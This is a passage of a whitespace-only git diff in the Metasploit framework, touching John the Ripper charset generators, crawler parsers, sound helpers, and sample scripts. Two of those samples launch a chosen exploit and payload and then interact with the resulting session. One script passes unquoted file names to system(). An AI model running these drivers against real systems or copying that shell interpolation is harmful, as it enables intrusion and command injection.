'--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.any/genincstats.rb b/data/john/run.win32.any/genincstats.rb index 42d9b6ef6dcc..d415a55f97c0 100755 --- a/data/john/run.win32.any/genincstats.rb +++ b/data/john/run.win32.any/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ def help ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.mmx/genincstats.rb b/data/john/run.win32.mmx/genincstats.rb index 42d9b6ef6dcc..d415a55f97c0 100755 --- a/data/john/run.win32.mmx/genincstats.rb +++ b/data/john/run.win32.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ def help ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.sse2/genincstats.rb b/data/john/run.win32.sse2/genincstats.rb index 42d9b6ef6dcc..d415a55f97c0 100755 --- a/data/john/run.win32.sse2/genincstats.rb +++ b/data/john/run.win32.sse2/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ def help ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb index cf32fdf09f2d..467cf6807b88 100755 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -18,29 +18,29 @@ class CrawlerSimple < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('a').each do |link| + doc = Hpricot(result.body.to_s) + doc.search('a').each do |link| - hr = link.attributes['href'] + hr = link.attributes['href'] - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) + if hr and !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',hr,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end + end end diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb index 9be3852daff1..e5cd23b55620 100755 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -18,60 +18,60 @@ class CrawlerForms < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search('form').each do |f| - hr = f.attributes['action'] + doc = Hpricot(result.body.to_s) + doc.search('form').each do |f| + hr = f.attributes['action'] - fname = f.attributes['name'] - if fname.empty? - fname = "NONE" - end + fname = f.attributes['name'] + if fname.empty? + fname = "NONE" + end - m = "GET" - if !f.attributes['method'].empty? - m = f.attributes['method'].upcase - end + m = "GET" + if !f.attributes['method'].empty? + m = f.attributes['method'].upcase + end - #puts "Parsing form name: #{fname} (#{m})" + #puts "Parsing form name: #{fname} (#{m})" - htmlform = Hpricot(f.inner_html) + htmlform = Hpricot(f.inner_html) - arrdata = [] + arrdata = [] - htmlform.search('input').each do |p| - #puts p.attributes['name'] - #puts p.attributes['type'] - #puts p.attributes['value'] + htmlform.search('input').each do |p| + #puts p.attributes['name'] + #puts p.attributes['type'] + #puts p.attributes['value'] - #raw_request has uri_encoding disabled as it encodes '='. - arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) - end + #raw_request has uri_encoding disabled as it encodes '='. + arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) + end - data = arrdata.join("&").to_s + data = arrdata.join("&").to_s - begin - hreq = urltohash(m,hr,request['uri'],data) + begin + hreq = urltohash(m,hr,request['uri'],data) - hreq['ctype'] = 'application/x-www-form-urlencoded' + hreq['ctype'] = 'application/x-www-form-urlencoded' - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb index 3284c9b9c28a..c6d2cbe03a8e 100755 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -14,28 +14,28 @@ class CrawlerFrames < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('iframe').each do |ifra| + doc = Hpricot(result.body.to_s) + doc.search('iframe').each do |ifra| - ir = ifra.attributes['src'] + ir = ifra.attributes['src'] - if ir and !ir.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',ir,request['uri'],nil) + if ir and !ir.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',ir,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Error" - end - end - end - end + rescue URI::InvalidURIError + #puts "Error" + end + end + end + end end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb index a02b7593be23..0cc2aefb39ee 100755 --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -15,29 +15,29 @@ class CrawlerImage < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('img').each do |i| + doc = Hpricot(result.body.to_s) + doc.search('img').each do |i| - im = i.attributes['src'] + im = i.attributes['src'] - if im and !im.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',im,request['uri'],nil) + if im and !im.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',im,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{i[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{i[0]}" + end + end + end + end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb index e99fcfba8d94..543fdad2c32b 100755 --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -15,29 +15,29 @@ class CrawlerLink < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('link').each do |link| + doc = Hpricot(result.body.to_s) + doc.search('link').each do |link| - hr = link.attributes['href'] + hr = link.attributes['href'] - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) + if hr and !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',hr,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end + end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb index 86b66d05be47..68a53e238294 100755 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -18,31 +18,31 @@ class CrawlerObjects < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search("//object/embed").each do |obj| + doc = Hpricot(result.body.to_s) + doc.search("//object/embed").each do |obj| - s = obj['src'] + s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) + begin + hreq = urltohash('GET',s,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb index e5a043f400fc..3789842344aa 100755 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -18,31 +18,31 @@ class CrawlerScripts < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search("//script").each do |obj| + doc = Hpricot(result.body.to_s) + doc.search("//script").each do |obj| - s = obj['src'] + s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) + begin + hreq = urltohash('GET',s,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/sounds/aiff2wav.rb b/data/sounds/aiff2wav.rb index 76c323dd436a..b2020875cd73 100755 --- a/data/sounds/aiff2wav.rb +++ b/data/sounds/aiff2wav.rb @@ -1,7 +1,7 @@ #!/usr/bin/env ruby Dir.open(".").entries.grep(/.aiff$/).each do |inp| - out = inp.gsub(".aiff", ".wav") - system("sox #{inp} #{out}") + out = inp.gsub(".aiff", ".wav") + system("sox #{inp} #{out}") end diff --git a/data/sounds/gensounds_mac.rb b/data/sounds/gensounds_mac.rb index ae8516fd5758..dc63ac1ba525 100755 --- a/data/sounds/gensounds_mac.rb +++ b/data/sounds/gensounds_mac.rb @@ -1,34 +1,34 @@ sounds = { - 'num0' => '0', - 'num1' => '1', - 'num2' => '2', - 'num3' => '3', - 'num4' => '4', - 'num5' => '5', - 'num6' => '6', - 'num7' => '7', - 'num8' => '8', - 'num9' => '9', - 'closed' => 'closed', - 'opened' => 'opened', - 'plugin_load' => 'meta sploit sound plugin has been loaded', - 'plugin_unload' => 'sound plugin has been unloaded', - 'session' => 'session', - 'address' => 'address', - 'port' => 'port', - 'dot' => 'dot', - 'session_open_meterpreter' => 'a new meterp reter session has been opened', - 'session_open_shell' => 'a new command shell session has been opened', - 'session_open_vnc' => 'a new VNC session has been opened' + 'num0' => '0', + 'num1' => '1', + 'num2' => '2', + 'num3' => '3', + 'num4' => '4', + 'num5' => '5', + 'num6' => '6', + 'num7' => '7', + 'num8' => '8', + 'num9' => '9', + 'closed' => 'closed', + 'opened' => 'opened', + 'plugin_load' => 'meta sploit sound plugin has been loaded', + 'plugin_unload' => 'sound plugin has been unloaded', + 'session' => 'session', + 'address' => 'address', + 'port' => 'port', + 'dot' => 'dot', + 'session_open_meterpreter' => 'a new meterp reter session has been opened', + 'session_open_shell' => 'a new command shell session has been opened', + 'session_open_vnc' => 'a new VNC session has been opened' } voice_name = 'Zarvox' def create_aiff(voice, file,text) - system("say -v #{voice} -o #{file}.aiff #{text}") + system("say -v #{voice} -o #{file}.aiff #{text}") end sounds.keys.each do |k| - create_aiff(voice_name, k, sounds[k]) + create_aiff(voice_name, k, sounds[k]) end diff --git a/documentation/samples/framework/dump_module_info.rb b/documentation/samples/framework/dump_module_info.rb index 2666c364c70c..35877764a1a9 100755 --- a/documentation/samples/framework/dump_module_info.rb +++ b/documentation/samples/framework/dump_module_info.rb @@ -13,22 +13,22 @@ require 'msf/base' if (ARGV.empty?) - puts "Usage: #{File.basename(__FILE__)} module_name" - exit + puts "Usage: #{File.basename(__FILE__)} module_name" + exit end modname = ARGV.shift framework = Msf::Simple::Framework.create begin - # Create the module instance. - mod = framework.modules.create(modname) - if not mod - puts "Error: The specified Msf::Module, \"#{modname}\", was not found." - else - # Dump the module's information in readable text format. - puts Msf::Serializer::ReadableText.dump_module(mod) - end + # Create the module instance. + mod = framework.modules.create(modname) + if not mod + puts "Error: The specified Msf::Module, \"#{modname}\", was not found." + else + # Dump the module's information in readable text format. + puts Msf::Serializer::ReadableText.dump_module(mod) + end rescue - puts "Error: #{$!}\n\n#{$@.join("\n")}" + puts "Error: #{$!}\n\n#{$@.join("\n")}" end diff --git a/documentation/samples/framework/encode_file.rb b/documentation/samples/framework/encode_file.rb index 70bf79e7d89b..b004ed4f6360 100755 --- a/documentation/samples/framework/encode_file.rb +++ b/documentation/samples/framework/encode_file.rb @@ -13,18 +13,18 @@ require 'msf/base' if (ARGV.empty?) - puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format" - exit + puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format" + exit end framework = Msf::Simple::Framework.create begin - # Create the encoder instance. - mod = framework.encoders.create(ARGV.shift) + # Create the encoder instance. + mod = framework.encoders.create(ARGV.shift) - puts(Msf::Simple::Buffer.transform( - mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby')) + puts(Msf::Simple::Buffer.transform( + mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby')) rescue - puts "Error: #{$!}\n\n#{$@.join("\n")}" + puts "Error: #{$!}\n\n#{$@.join("\n")}" end diff --git a/documentation/samples/framework/enumerate_modules.rb b/documentation/samples/framework/enumerate_modules.rb index 903a918040eb..ad4ea6fd64ac 100755 --- a/documentation/samples/framework/enumerate_modules.rb +++ b/documentation/samples/framework/enumerate_modules.rb @@ -16,5 +16,5 @@ # Enumerate each module in the framework. framework.modules.each_module { |name, mod| - puts "#{mod.type}: #{name}" + puts "#{mod.type}: #{name}" } diff --git a/documentation/samples/framework/run_exploit_using_base.rb b/documentation/samples/framework/run_exploit_using_base.rb index 0a6f2a6b8bc4..29f61c1ead36 100755 --- a/documentation/samples/framework/run_exploit_using_base.rb +++ b/documentation/samples/framework/run_exploit_using_base.rb @@ -14,8 +14,8 @@ require 'msf/base' if (ARGV.length == 0) - puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" - exit + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit end framework = Msf::Simple::Framework.create @@ -25,28 +25,28 @@ output = Rex::Ui::Text::Output::Stdio.new begin - # Initialize the exploit instance - exploit = framework.exploits.create(exploit_name) + # Initialize the exploit instance + exploit = framework.exploits.create(exploit_name) - # Fire it off. - session = exploit.exploit_simple( - 'Payload' => payload_name, - 'OptionStr' => ARGV.join(' '), - 'LocalInput' => input, - 'LocalOutput' => output) + # Fire it off. + session = exploit.exploit_simple( + 'Payload' => payload_name, + 'OptionStr' => ARGV.join(' '), + 'LocalInput' => input, + 'LocalOutput' => output) - # If a session came back, try to interact with it. - if (session) - output.print_status("Session #{session.sid} created, interacting...") - output.print_line + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line - session.init_ui(input, output) + session.init_ui(input, output) - session.interact - else - output.print_line("Exploit completed, no session was created.") - end + session.interact + else + output.print_line("Exploit completed, no session was created.") + end rescue - output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") end diff --git a/documentation/samples/framework/run_exploit_using_core.rb b/documentation/samples/framework/run_exploit_using_core.rb index 731aaac3c9c0..d2fd0b5a5de2 100755 --- a/documentation/samples/framework/run_exploit_using_core.rb +++ b/documentation/samples/framework/run_exploit_using_core.rb @@ -15,8 +15,8 @@ require 'msf/base' if (ARGV.length == 0) - puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" - exit + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit end framework = Msf::Simple::Framework.create @@ -26,43 +26,43 @@ output = Rex::Ui::Text::Output::Stdio.new begin - # Create the exploit driver instance. - driver = Msf::ExploitDriver.new(framework) + # Create the exploit driver instance. + driver = Msf::ExploitDriver.new(framework) - # Initialize the exploit driver's exploit and payload instance - driver.exploit = framework.exploits.create(exploit_name) - driver.payload = framework.payloads.create(payload_name) + # Initialize the exploit driver's exploit and payload instance + driver.exploit = framework.exploits.create(exploit_name) + driver.payload = framework.payloads.create(payload_name) - # Import options specified in VAR=VAL format from the supplied command - # line. - driver.exploit.datastore.import_options_from_s(ARGV.join(' ')) + # Import options specified in VAR=VAL format from the supplied command + # line. + driver.exploit.datastore.import_options_from_s(ARGV.join(' ')) - # Share the exploit's datastore with the payload. - driver.payload.share_datastore(driver.exploit.datastore) + # Share the exploit's datastore with the payload. + driver.payload.share_datastore(driver.exploit.datastore) - # Initialize the target index to what's in the exploit's data store or - # zero by default. - driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i + # Initialize the target index to what's in the exploit's data store or + # zero by default. + driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i - # Initialize the exploit and payload user interfaces. - driver.exploit.init_ui(input, output) - driver.payload.init_ui(input, output) + # Initialize the exploit and payload user interfaces. + driver.exploit.init_ui(input, output) + driver.payload.init_ui(input, output) - # Fire it off. - session = driver.run + # Fire it off. + session = driver.run - # If a session came back, try to interact with it. - if (session) - output.print_status("Session #{session.sid} created, interacting...") - output.print_line + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line - session.init_ui(input, output) + session.init_ui(input, output) - session.interact - else - output.print_line("Exploit completed, no session was created.") - end + session.interact + else + output.print_line("Exploit completed, no session was created.") + end rescue - output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") end diff --git a/documentation/samples/modules/auxiliary/sample.rb b/documentation/samples/modules/auxiliary/sample.rb index 976f5d0f95f4..e8b2a39980bf 100644 --- a/documentation/samples/modules/auxiliary/sample.rb +++ b/documentation/samples/modules/auxiliary/sample.rb @@ -15,31 +15,31 @@ ### class Metasploit4 < 